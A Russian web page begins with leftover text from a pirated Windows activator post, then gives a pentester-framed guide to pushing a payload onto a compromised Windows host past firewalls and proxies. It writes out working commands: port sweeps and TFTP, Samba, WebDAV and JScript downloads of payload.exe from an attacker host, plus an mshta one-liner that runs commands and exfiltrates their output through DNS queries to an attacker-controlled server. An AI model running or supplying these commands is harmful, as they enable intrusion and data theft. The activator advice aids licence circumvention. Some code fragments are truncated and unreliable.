Напоминаю: данный активатор распространяется на добровольной основе и не требует отправлять никаких смс-сообщений.
P.S. Чтобы больше не блокировалась операционная система, не устанавливаете "Обновление для Windows 7 (KB971033)".
Галочка напротив обновления должна быть снята. Нажав на правую кнопку
мыши, выбираем "Скрыть обновление". Таким образом, не дадим
устанавливаться этому обновлению повторно, даже при последующих
обновлениях.
Друзья огромня просба, если статья вам помогла кликните на рекламный банер... Зарание спасибо
Заливаем полезную нагрузку на машину под управлением Windows
Как правило, большие и средние компании строят свою внутреннюю
инфраструктуру на решениях Microsoft. В основном это парк машин на XP/7,
состоящих в домене с функциональным уровнем леса — Windows Server 2003.
Периметр и демилитаризованные зоны часто представлены *nix-like
системами. Во время проведения пентестов для таких компаний часто
возникает классическая задача — перебросить файл с хоста на удаленную
машину под управлением Windows. Наиболее распространенный случай — это
RCE через уязвимость веб-приложения или ошибка в конфигурации сервисов.
Не будем вдаваться в особенности реализации вектора атаки, а остановимся
на задаче загрузки файла на целевую машину. Эта задача порой может
отнять кучу времени, если не подготовиться как следует. Но мы-то готовы
ко всему :). Даже тогда, когда в нашем распоряжении есть лишь
минимальный набор инструментов, немногим варьирующий от версии к версии
ОС, который позволяет в полной мере выполнить поставленную задачу.
Problem condition
В первую очередь давай определимся с ситуацией — она банальна и
повседневна для пентестера :). Имеется некий вектор атаки, позволяющий
выполнять команды ОС. Сервер может находиться на периметре, в
демилитаризованной зоне или в интранете. Эти условия непринципиальны.
Чтобы было проще, давай введем такие именования:
TARGET — машина, на которой имеем выполнение команд, на базе
Windows, у нее только один сетевой интерфейс, смотрящий внутрь сети
(192.168.1.10);
GATE — шлюз, который связывает внутреннюю сеть и интернет. Ось
непринципиальна. Соответственно, на нем два сетевых интерфейса
(192.168.1.1 и 5.5.5.5);
ATTACKER — наш подконтрольный сервер, на базе Bactrack 5r3 / Kali linux, с IP-адресом 1.2.3.4.
Firewall holes
Прежде чем начать передачу целевого файла, важно найти способ
надежного соединения с узлом. Поиск прямых каналов связи на транспортном
уровне с эксплуатируемым узлом (IP: 192.168.1.10) решается
последовательным перебором портов на контролируемом сервере (IP:
1.2.3.4). Из стандартного инструментария можем воспользоваться Telnet,
nslookup, PowerShell. Telnet и nslookup целесообразно использовать в
версиях до Windows 2003 включительно, а начиная с Windows Vista
рекомендуется использовать PowerShell. В принципе, если бы не досадная
ошибка в nslookup, у нас мог бы быть универсальный инструмент для всех
версий Windows. Очевидный факт: если в системе нет Telnet, то там есть
PowerShell.
Неправильная конфигурация сетевого экрана
Для того чтобы понять, когда именно к нам придет подключение, запустим покорный tcpdump:
tcpdump host 5.5.5.5
В свою очередь, будем пробовать подключаться к нашему внешнему
серверу с машины, на которой у нас выполнение команд. Для версий Windows
<= Windows 2003 TCP-порты FOR /L %i IN (1,1,65535) DO (cmd /c "start /b telnet 1.2.3.4 %i") UDP-порты FOR /L %i IN (1,1,65535) DO (cmd /c "start /b nslookup -port=%i ya.ru 1.2.3.4")
Для Windows Vista и более поздних версий винды будем использовать PowerShell.
Для TCP-портов:
Естественно, куски этого кода необходимо заэнкодить в Base64, после
чего передавать полученное значение как аргумент к команде PowerShell с
параметром -encodedCommand.
Также стоит упомянуть о таком проекте, как letmeoutofyour от @mubix для проверки доступных каналов во внешнюю сеть. На любой HTTP-запрос отвечает w00tw00t.
FTP
Признан самым распространенным способом загрузки целевого файла и
вообще является одним из старейших протоколов прикладного уровня.
Основные достоинства загрузки через FTP — простота использования и
наличие приложения во всех версиях систем. Если хост находится за NAT,
то в большинстве случаев необходимо использовать режим работы passive
mode, иначе сервер не сможет подключиться к клиенту. Существуют
реализации расширений для NAT и сетевых экранов, позволяющие клиентам
работать в активном режиме, но это большая редкость и небезопасно.
Стандартная функциональность позволяет указать любой порт удаленного
сервера.
TFTP
Клиент TFTP реализован во всех версиях семейства Windows, но начиная с
версии Windows Vista отключен и не доступен по умолчанию. Особенность
TFTP — он основан на транспортном протоколе UDP. Зачастую при полной
фильтрации TCP удается передать файл по UDP. Достаточно запустить сервис
atftpd --daemon --port 69 /tmp
и выполнить на клиенте последовательность простых команд
dism /online /enable-feature /featurename:TFTP
tftp –i 1.2.3.4 GET payload.exe
Telnet
Клиент Telnet также реализован во всех версиях семейства Windows и
также отключен и недоступен начиная с версии Windows Vista.
Задумывалось, что Telnet будет использоваться для работы с протоколами
уровня приложений. Клиент тоже поддерживает работу на транспортном
уровне, правда с некоторыми особенностями, для нас не важными.
Использование клиента Telnet в качестве транспорта для бинарных файлов
невозможно из-за специфики протокола (более подробно в RFC854 про ). Поэтому без потерь можно передавать файлы, содержащие стандартный набор ASCII-символов.
На сервере запустим netcat, который будет передавать содержимое нашего файла: nc -q 20 -lvp 23 < evil.bat
На клиенте же, в свою очередь, заэнейблим Telnet, если он отключен:
и таким нехитрым способом подключимся к серверу и сохраним в файл то, что он нам передал:
mode CON COLS=200000 && telnet 172.16.61.21 -f c:\command.bat
mode CON COLS=200000 устанавливает количество колонок (читай — символов), после которого клиент Telnet добавит символы . В принципе, если максимальная длина не превышает настроек lines, то можно специально не задавать.
Стандартные настройки
Ключ –f клиента Telnet позволяет записывать stdin сессии в указанный файл. Кстати, так же можно использовать в *nix, если в наличии нет доступного инструмента. Обязательное условие успешной эксплуатации — наличие символов в конце строки. Быстро сконвертировать файл, созданный в *nix, можно командой
unix2dos evil.bat
SAMBA
Samba — свободное ПО, в серверной части которого реализована работа с
протоколом SMB/CIFS. CIFS — протокол уровня приложений для работы с
файловой системой по сети. Рассмотрим ситуацию, когда невозможно
получить вывод команд, команды выполняются от непривилегированного
пользователя, нет доступной для записи директории. В этом случае
целесообразно установить на контролируемом сервере (IP: 1.2.3.4) службу
Samba, настроить гостевую аутентификацию и разрешить запись в
директорию.
Монтирование удаленного ресурса
Конфигурируем (/etc/samba/smb.conf) и запускаем Samba:
[global]
workgroup = WORKGROUP
security = share
netbios = TEST
server string = %h server (Samba, Ubuntu)
[share]
comment = File Server Share path = /tmp/share browsable = yes writable = yes guest ok = yes read only = no create mask = 0755\`
и запускаем сервис:
sudo service smbd start
После чего монтируем только что созданный ресурс как диск
net use X: \1.2.3.4
и копируем необходимый файл
copy X:\payload.exe C:\payload.exe
Windows Script Host
Что это вообще такое? WSH — автономный сервер, предназначенный для
выполнения сценариев на уровне ОС. Является встроенным компонентом и
присутствует во всех версиях начиная с Windows 2000. По умолчанию
интерпретирует два типа сценариев. Первый тип — автономные сценарии,
реализованные на языках VBScript/JScript. Как правило, файлы сценариев
имеют расширения vbs, vbe и js, jse соответственно. Второй тип — файлы
wsf (Windows Script File). Это текстовый документ, содержащий код XML.
VBScript/JScript
Cкриптовые объектно-ориентированные языки программирования,
интерпретируемые сервером Windows Script Host. Серверов, кстати, два:
cscript — консольный и wscript — интерактивный. Сервер по умолчанию —
wscript. Эти языки создавались для автоматизации рутинных действий,
администрирования и обработки данных. Для доступа к элементам системы
используют COM (Component Object Model). Кстати, если соберешься
написать что-нибудь, при прочих равных условиях выбирай JScript, так как
он имеет приятный легко читаемый синтаксис и поддерживается многими
IDE. К сожалению, передать скрипт как аргумент серверу WSH нельзя.
Обязательно нужно указывать путь к сценарию. Процедура, реализующая
получение файла с HTTP/HTTPS:
functionHTTPGetDownload(url, file) {// create an HTTP object var http = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); // download the specified URL http.open("GET", url); http.send();var stream = new ActiveXObject("ADODB.Stream"); stream.type = 1; stream.open(); // write the downloaded byte stream to the target file stream.write(http.responseBody); stream.saveToFile(file,2); }
HTTPGetDownload("http://1.2.3.4/payload.exe", "payload.exe");
Windows Script File
Сценарии WSF могут одновременно содержать JScript- и
VBScript-сценарии. Это сделано для того, чтобы увеличить гибкость
написания кода, а также обеспечить модульность и повторное использование
кода.
Windows Script File в работе
Вот несколько набросков, которые реализуют передачу файла с различных ресурсов:
На просторах Сети добрый китайский коллега zzzEVAzzz реализовал
скрипт Any2Bat — любой файл путем преобразований можно сконвертировать в
bat. Логика работы проста: создается файл архив cab, преобразуется в
Base64 и оборачивается в WSF. В WSF содержится VBScript, который читает
себя как XML (как ранее было отмечено, WSF описывается XML), берет
первый элемент и сохраняет содержимое в cab. Полученный WSF
преобразуется в bat путем добавления к каждой строке
@echo … > payload.wsf
На основе скрипта zzzEVAzzz была реализована версия на PowerShell.
Теперь можно конвертировать целевой cab в WSF или bat. Ее ты сможешь
найти на нашем диске.
MHTA
Mshta.exe (Microsoft HTML Application Host) — служебная программа для
выполнения HTA (HTML Applications). HTA — это HTML-страница, которая
имеет доступ к ресурсам системы через COM, выполняя скрипты
JScript/VBScript. В принципе, это полноценный Internet Explorer, только
без зон безопасности. Таким образом у нас есть возможность изменять
реестр, работать с файлами и сетью. Утилита принимает один параметр
командной строки — то, что попадет в browser address bar. Поэтому мы
можем передать ссылку на HTA или скриптовый блок. Расширение не имеет
значения.
Выполняем VBScript/JScript, расположенный на удаленном хосте:
Протокол прикладного уровня, расширяющий возможности протокола
HTTP/HTTPS для удаленной работы с файлами. Начиная с версии Windows XP
клиент WebDAV реализован в виде службы WebClient. Серверная часть
представлена, как правило, расширениями для Apache и IIS. WebDAV, так же
как и SMB/CIFS, решает задачу с поиском папки для записи — расширение
дискового пространства с правами на запись для группы «Все». По
сравнению с SMB/CIFS применение WebDAV в некоторых случаях более гибкое,
так как поддерживает работу по HTTP. Начиная с версии Windows XP SP3, а
именно предустановленного апдейта KB892211, появляется поддержка SSL и
возможность выбора произвольного порта. Более ранние версии WebDAV
mini-redirector поддерживают работу исключительно по HTTP и 80-му порту.
В корпоративных средах повсеместно распространена практика
использования прокси-серверов в качестве шлюза в интернет. В тех
случаях, когда другие способы не работают — нет поддержки
прокси-сервера, целесообразно использовать WebDAV.
Proxy settings
Давай рассмотрим тему настройки прокси-сервера для пользователя. С
точки зрения системного администрирования существуют четыре возможных
сценария предоставить пользователю настройки прокси-сервера:
WPAD;
PAC;
Group policy;
User choice.
WPAD
Web Proxy Auto-Discovery Protocol используется, если в настройках браузера активна Automaticly detect setting.
Настойка Web Proxy Auto-Discovery Protocol
Настраивается соответствующими записями на серверах DNS или DHCP. При
получении настроек через DNS должно соблюдаться условие публикации
файла: только HTTP, только 80-й порт. В DHCP может использоваться любой
порт. Если ты смотришь на URL настроек WPAD и там используется
нестандартный порт, то знай, что настройки получены по DHCP ;).
Например, компьютер находится в домене r1.d2.phdays.com. В поисках
файла настройки браузер последовательно обращается к таким URL:
Proxy auto config — на практике WPAD — это и есть переименованный
файл с PAC. Если посмотреть код, то обнаружишь там JavaScript-функцию
FindProxyForURL, которая возвращает адрес прокси-сервера в зависимости
от запрашиваемого хоста.
Group policy
Групповыми политиками назначают PAC или отдельно прокси-сервер для протокола.
User choice
Прокси-сервер не назначается администратором домена.
Dig deeper
Рассмотрим такую ситуацию: успешная эксплуатация хоста ->
привилегии NT AUTHORITY\SYSTEM -> прокси-сервер настроен у
пользователя. Следующим шагом необходимо узнать адрес прокси-сервера.
Вполне логично предположить, что пользователей может быть несколько с
различными прокси-серверами, в зависимости от групповых политик.
Возникает резонный вопрос: каким образом можно получить вывод исполнения
команды? Стоит отметить, что сетевые настройки общие для системы, в том
числе DNS. А в большинстве случаев внутренний DNS является
авторитативным и сам разрешает доменные имена в IP-адреса. Таким
образом, имея подконтрольный DNS-сервер с настроенным логированием,
отвечающий за нашу зону, мы cможем просматривать вывод команд.
Реализуется это следующим образом:
FOR /F %I IN ('ipconfig /all') DO nslookup %I.ya.ru 1.2.3.4 mshta "javascript:function h(out){hxd='';for(a=0;a<out.length;a=a+1){hxd=hxd+out.charCodeAt(a).toString(16);}returnhxd;}functionr(cmd){varshell=newActiveXObject('WScript.Shell');varse=shell.Exec(cmd);varout = '';while(!(se.StdOut.AtEndOfStream)){out=out+se.StdOut.ReadLine();}returnout;}functionex(cmd){varout=h(r(cmd));query=out.match(/.{1,60}/g);for(v=0;v '+v+'x'+query[v]+'.ya.ru')};}functione(){ex('proxycfg');}window.onload=e"
Если у нас привилегии пользователя, то настройки прокси можно посмотреть так:
**Windows Vista (system proxy)**
netsh winhttp show proxy
**Windows Vista (IE proxy)**
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer`
**Windows XP & 2003 (IE proxy)**
netsh diag connect ieproxy
**Windows XP & 2003 (system proxy)**
proxycfg
Установка настроек прокси-сервера:
**Windows Vista (system proxy)**
netsh winhttp set proxy proxy:3128
**Windows Vista (IE proxy)**
Set-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings' -name ProxyEnable -value 1 Set-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings' -name ProxyServer "proxy:3128"
**Windows XP & 2003 (IE proxy)**
proxycfg –p proxy:3128
**Windows XP & 2003 (system proxy)**
proxycfg -U
WebDAV
Шаги для установки WebDAV на Apache.
Энэйблим модуль WebDAV
mkdir -p /var/www/web/ chown www-data /var/www/web/
vim /etc/apache2/sites-available/default NameVirtualHost * \<VirtualHost *\> ServerAdmin webmaster@localhost DocumentRoot /var/www/web/ [Directory /var/www/web/][] Options Indexes MultiViews AllowOverride None Order allow,deny allow from all </Directory> Alias /webdav /var/www/web/ [Location /webdav][] DAV On </Location></VirtualHost>
/etc/init.d/apache2 reload
Готово! Теперь можно использовать наш уютный сервис с удаленной
машины :). Например, существует множество способов примонтировать
свежеиспеченный ресурс:
net usex: http://1.2.3.4/webdav net usex: https://1.2.3.4/webdav /user:Guest Guest net usex: \1.2.3.4\webdav net usex: \1.2.3.4@SSL@53\webdav net usex: \1.2.3.4@53\webdav
После чего, удачно смонтировав ресурс, копируем необходимый файл командой copy :)
copy X:\payload.exe C:\payload.exe
nslookup
Nslookup является средством администрирования на основе командной
строки и предназначена для проверки работоспособности DNS-серверов.
Имеет два режима работы: интерактивный и консольный. Если нет
возможности установить TCP-соединение с подконтрольным сервером, то
можно использовать внутренний DNS для обмена данными с сетью. В 2008
году Кевин Бонг (Kevin Bong) рассмотрел и реализовал способ создания
неинтерактивного шелла через опрос TXT записей (bit.ly/14aJGyM).
Максимальная длина txt — 255 символов. Все кавычки в записи должны быть
экранированы.
Так как вывод nslookup не содержит исполняемых команд, можно сделать
проще и короче: заэкранировать обязательные обрамляющие кавычки и
записывать вывод в bat.
Правим запись txt для подконтрольного домена (c1.attacker.com):
Это фреймворк, созданный Microsoft, для автоматизации задач
системного администрирования. Имеет CLI, подобный CMD, со встроенной
поддержкой и интеграцией .NET Framework. Разработка началась в 2002 году
под названием Monad. Первая RC-версия появилась в 2006 году и была
переименована в Windows PowerShell. C выходом Windows Vista SP1
поставляется как компонент ОС. Windows 8/2012 поставляется с третьей
версией, значительно расширенной командлетами. Windows 7/2008
поставляется со второй версией.
PowerShell — это такой слой абстракции, который делает удобной работу
с компонентами системы: COM, WMI, ADSI. В результаты мы имеем простой
унифицированный способ управления системой локально или удаленно.
Функциональность PowerShell обеспечивается командлетами —
специальными командами, реализующими конкретный функционал. Например,
командлет Get-Content или gc или cat — получить содержимое файла. gc и
cat алиасы командлета Get-Content. При написании командлетов принято
придерживаться именования verb-noun. Результат командлета — это объект
или коллекция. Примеры кода, реализующего слив файла, ты найдешь на
нашем диске.
bitsadmin
Wget для Windows :). Этим все сказано.
Параметры запуска достаточно просты:
В своей статье я постарался подробно прояснить ситуацию с загрузкой
файлов на машины за NAT’ом. Надеюсь, что это хорошая отправная точка для
дальнейшего ресерча и изучения множества других клевых «хаков». Если у
тебя остались вопросы или комментарии, я с радостью на них отвечу.
Удачного тебе закрепления на удаленной машине! Stay tuned!